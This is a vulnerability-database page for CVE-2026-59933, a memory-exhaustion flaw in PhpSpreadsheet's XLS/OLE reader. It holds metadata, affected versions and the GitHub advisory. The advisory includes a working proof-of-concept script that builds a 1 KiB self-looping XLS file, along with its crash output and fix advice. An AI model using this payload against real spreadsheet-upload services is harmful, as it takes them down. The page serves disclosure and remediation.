Vulnerability-Lookup

CVE-2026-59933 (GCVE-0-2026-59933)

Vulnerability from cvelistv5 – Published: 2026-07-28 17:29 – Updated: 2026-07-28 17:57

Title

PhpSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

Summary

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory. This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

GitHub_M

References

7 references

URL	Tags
https://github.com/PHPOffice/PhpSpreadsheet/secur…	x_refsource_CONFIRM
https://github.com/PHPOffice/PhpSpreadsheet/commi…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC
https://github.com/PHPOffice/PhpSpreadsheet/relea…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
PHPOffice	PhpSpreadsheet	Affected: >= 4.0.0, < 5.8.1 Affected: >= 3.3.0, < 3.10.7 Affected: >= 2.2.0, < 2.4.7 Affected: >= 2.0.0, < 2.1.18 Affected: < 1.30.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-59933",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-28T17:57:16.033236Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-28T17:57:30.912Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PhpSpreadsheet",
          "vendor": "PHPOffice",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 5.8.1"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.3.0, \u003c 3.10.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.2.0, \u003c 2.4.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.1.18"
            },
            {
              "status": "affected",
              "version": "\u003c 1.30.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory. This is reachable from Reader\\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-835",
              "description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-28T17:29:27.129Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
        }
      ],
      "source": {
        "advisory": "GHSA-xh5m-36r6-47m3",
        "discovery": "UNKNOWN"
      },
      "title": "PhpSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-59933",
    "datePublished": "2026-07-28T17:29:27.129Z",
    "dateReserved": "2026-07-07T18:20:06.126Z",
    "dateUpdated": "2026-07-28T17:57:30.912Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-59933",
      "date": "2026-07-31",
      "epss": "0.00691",
      "percentile": "0.49253"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-59933\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-28T18:17:23.033\",\"lastModified\":\"2026-07-30T19:19:45.637\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory. This is reachable from Reader\\\\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"PHPOffice\",\"product\":\"PhpSpreadsheet\",\"versions\":[{\"version\":\"\u003e= 4.0.0, \u003c 5.8.1\",\"status\":\"affected\"},{\"version\":\"\u003e= 3.3.0, \u003c 3.10.7\",\"status\":\"affected\"},{\"version\":\"\u003e= 2.2.0, \u003c 2.4.7\",\"status\":\"affected\"},{\"version\":\"\u003e= 2.0.0, \u003c 2.1.18\",\"status\":\"affected\"},{\"version\":\"\u003c 1.30.6\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-28T17:57:16.033236Z\",\"id\":\"CVE-2026-59933\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-400\"},{\"lang\":\"en\",\"value\":\"CWE-835\"}]}],\"references\":[{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-59933\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-28T17:57:16.033236Z\"}}}], \"references\": [{\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-28T17:57:27.458Z\"}}], \"cna\": {\"title\": \"PhpSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion\", \"source\": {\"advisory\": \"GHSA-xh5m-36r6-47m3\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"PHPOffice\", \"product\": \"PhpSpreadsheet\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 4.0.0, \u003c 5.8.1\"}, {\"status\": \"affected\", \"version\": \"\u003e= 3.3.0, \u003c 3.10.7\"}, {\"status\": \"affected\", \"version\": \"\u003e= 2.2.0, \u003c 2.4.7\"}, {\"status\": \"affected\", \"version\": \"\u003e= 2.0.0, \u003c 2.1.18\"}, {\"status\": \"affected\", \"version\": \"\u003c 1.30.6\"}]}], \"references\": [{\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1\", \"name\": \"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory. This is reachable from Reader\\\\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-400\", \"description\": \"CWE-400: Uncontrolled Resource Consumption\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-835\", \"description\": \"CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-28T17:29:27.129Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-59933\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-28T17:57:30.912Z\", \"dateReserved\": \"2026-07-07T18:20:06.126Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-28T17:29:27.129Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-XH5M-36R6-47M3

Vulnerability from github – Published: 2026-07-23 15:01 – Updated: 2026-07-23 15:01

Summary

PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

Details

Summary

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;

    $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
    $pos += 4 * $bbs;

    $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

src/PhpSpreadsheet/Shared/OLERead.php:175-180
src/PhpSpreadsheet/Shared/OLERead.php:198-202
src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9));     // sector size 512
$set(32, pack("v", 6));     // mini sector size 64
$set(44, pack("l", 1));     // 1 SAT sector
$set(48, pack("l", 0));     // directory first sector 0
$set(56, pack("l", 4096));  // mini stream cutoff
$set(60, pack("l", 0));     // SSAT first sector 0
$set(64, pack("l", 1));     // one SSAT sector
$set(68, pack("l", -2));    // no MSAT extension
$set(72, pack("l", 0));     // no extension sectors
$set(76, pack("l", 0));     // DIFAT says SAT is sector 0
$set(512, pack("l", 0));    // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH

Observed output:

ole_size=1024
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

Validate every OLE sector-chain walk with:
a visited-sector set to reject cycles;
maximum chain length based on file size and sector size;
bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
rejection of negative sector IDs other than the documented end-of-chain marker.
Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
Apply the same guarded chain-walk helper to:
small-block depot chain construction;
small-block stream extraction;
big-block stream extraction;
readData().
Add regression tests with self-looping and out-of-range SAT/SSAT chains.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59933"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T15:01:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPhpSpreadsheet\u0027s OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this-\u003esbdStartBlock;\n$this-\u003esmallBlockChain = \u0027\u0027;\nwhile ($sbdBlock != -2) {\n    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n    $this-\u003esmallBlockChain .= substr($this-\u003edata, $pos, 4 * $bbs);\n    $pos += 4 * $bbs;\n\n    $sbdBlock = self::getInt4d($this-\u003ebigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c\u0027SH\u0027\nset -eu\nphp -r \u0027\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (\u0026$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9));     // sector size 512\n$set(32, pack(\"v\", 6));     // mini sector size 64\n$set(44, pack(\"l\", 1));     // 1 SAT sector\n$set(48, pack(\"l\", 0));     // directory first sector 0\n$set(56, pack(\"l\", 4096));  // mini stream cutoff\n$set(60, pack(\"l\", 0));     // SSAT first sector 0\n$set(64, pack(\"l\", 1));     // one SSAT sector\n$set(68, pack(\"l\", -2));    // no MSAT extension\n$set(72, pack(\"l\", 0));     // no extension sectors\n$set(76, pack(\"l\", 0));     // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0));    // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027\nphp -d memory_limit=64M -d display_errors=1 -r \u0027\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r-\u003ecanRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase-\u003ecanRead($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead-\u003eread($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n  - a visited-sector set to reject cycles;\n  - maximum chain length based on file size and sector size;\n  - bounds checks before reading from `$this-\u003edata`, 